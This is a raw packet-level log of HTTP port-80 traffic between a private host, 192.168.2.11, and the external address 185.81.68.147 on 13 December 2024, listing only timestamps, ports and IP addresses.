Dec 13, 2024 08:19:00.636560917 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.636687994 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.641124964 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.641180038 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.641324997 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.646306992 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.646321058 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.646465063 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.650518894 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.650687933 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.650795937 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.655080080 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.655181885 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.655339956 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.659780979 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.659905910 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.659996033 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.664411068 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.664542913 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.666718006 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.669060946 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.669179916 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.669296026 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.672883987 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.672987938 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.673250914 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.676729918 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.676836967 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.678733110 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.680577993 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.680716991 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.680856943 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.684477091 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.684603930 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.684679985 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.688224077 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.688327074 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.688747883 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.692110062 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.692186117 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.692240000 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.695924044 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.696042061 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.696166992 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.699825048 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.699872017 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.700352907 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.730021954 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.730113029 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.730424881 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.731992006 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.732002974 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.732131958 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.802059889 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.802227974 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.802350044 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.803436041 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.803551912 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.803639889 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.806324959 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.806449890 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.806804895 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.809295893 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.809416056 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.809519053 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.812258005 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.812341928 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.812582970 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.815112114 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.815210104 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.815406084 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.817914009 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.818005085 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.818099976 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.820601940 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.820709944 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.821551085 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.823331118 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.823457956 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.823620081 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.825963974 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.826071024 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.826900959 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.828535080 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.828643084 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.828804970 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.831134081 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.831233025 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.831270933 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.833827972 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.833839893 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.833935976 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.836638927 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.836649895 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.836719036 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.838865042 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.838903904 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.839040041 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.841470957 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.841578007 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.841624975 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.844049931 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.844134092 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.844320059 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.846647024 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.846774101 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.846836090 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.849270105 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.849354982 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.849461079 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.851841927 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.851943970 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.852235079 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.854393005 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.854499102 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.854765892 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.857052088 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.857157946 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.857223034 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.858917952 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.859031916 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.860899925 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.860966921 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.862739086 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.862740993 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.862777948 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.863643885 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.864484072 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.864617109 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.864717960 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.993927956 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.993978024 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.994112968 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.994437933 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.994690895 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.995428085 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.996211052 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.996310949 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.996409893 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.998116016 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.998186111 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.998287916 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.999774933 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.999928951 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.000334024 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.001698017 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.001728058 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.001852036 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.003366947 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.003499031 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.004026890 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.005168915 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.005325079 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.005418062 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.007061005 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.007148981 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.007438898 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.008833885 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.008848906 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.008972883 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.010485888 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.010678053 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.011106968 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.012295961 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.012437105 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.012521982 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.014179945 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.014353037 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.014431000 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.015795946 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.015894890 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.016180992 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.017647028 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.017822027 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.017961979 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.019407988 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.019506931 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.019922018 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.021203995 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.021430016 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.021603107 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.022984028 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.023122072 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.023447037 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.024745941 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.024866104 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.024975061 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.026546001 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.026611090 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.027105093 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.028688908 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.028701067 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.028875113 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.030085087 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.030143023 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.030508041 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.031903982 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.031996012 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.032205105 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.033670902 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.033776999 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.033921003 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.035449028 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.035528898 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.035629034 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.037234068 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.037342072 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.038957119 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.039045095 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.039140940 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.039283991 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.040819883 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.040848970 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.041052103 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.042589903 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.042711020 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.042937994 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.044425011 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.044477940 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.044598103 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.046195030 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.046307087 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.046715021 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.047975063 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.048094988 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.048293114 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.049761057 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.049880981 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.051548004 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.051637888 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.051702976 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.051820993 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.053335905 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.053466082 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.053539038 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.055109024 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.055212975 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.055289984 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.056865931 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.056968927 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.057965994 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.058681965 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.058777094 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.059056044 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.060448885 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.060553074 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.060681105 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.062249899 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.062339067 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.063338995 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.064054012 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.064152002 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.065192938 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.065794945 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.065905094 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.066494942 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.067584038 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.067667007 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.067886114 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.069406986 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.069535017 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.070590973 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.071172953 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.071279049 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.071407080 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.072978020 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.073081017 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.073286057 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.074732065 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.074872971 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.074966908 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.076498032 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.076606989 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.076818943 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.078260899 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.078401089 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.078891993 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.080080986 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.080194950 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.080249071 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.081857920 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.136961937 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.186336994 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.186391115 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.186569929 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.187035084 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.187100887 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.187251091 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.188700914 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.188813925 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.189152956 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.190258980 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.190399885 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.190556049 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.191864014 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.192025900 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.192794085 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.193402052 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.193550110 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.193703890 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.195014954 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.195146084 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.195302010 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.196505070 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.198925972 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.199991941 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.295695066 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.319832087 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.415415049 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:01.415513039 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.415565014 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:01.535285950 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743599892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743619919 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743634939 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743649006 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743664980 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743679047 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743680000 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.743701935 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743717909 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743726969 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.743732929 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743748903 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.743767023 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.743797064 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.863626957 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.864186049 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.864258051 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.868002892 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.918143034 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.935245037 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.935359001 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.935425043 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.939368010 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.939512014 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.939563990 CET	49755	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:02.947846889 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.947860003 CET	80	49755	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:02.947906971 CET	49755	80	192.168.2.11	185.81.68.147
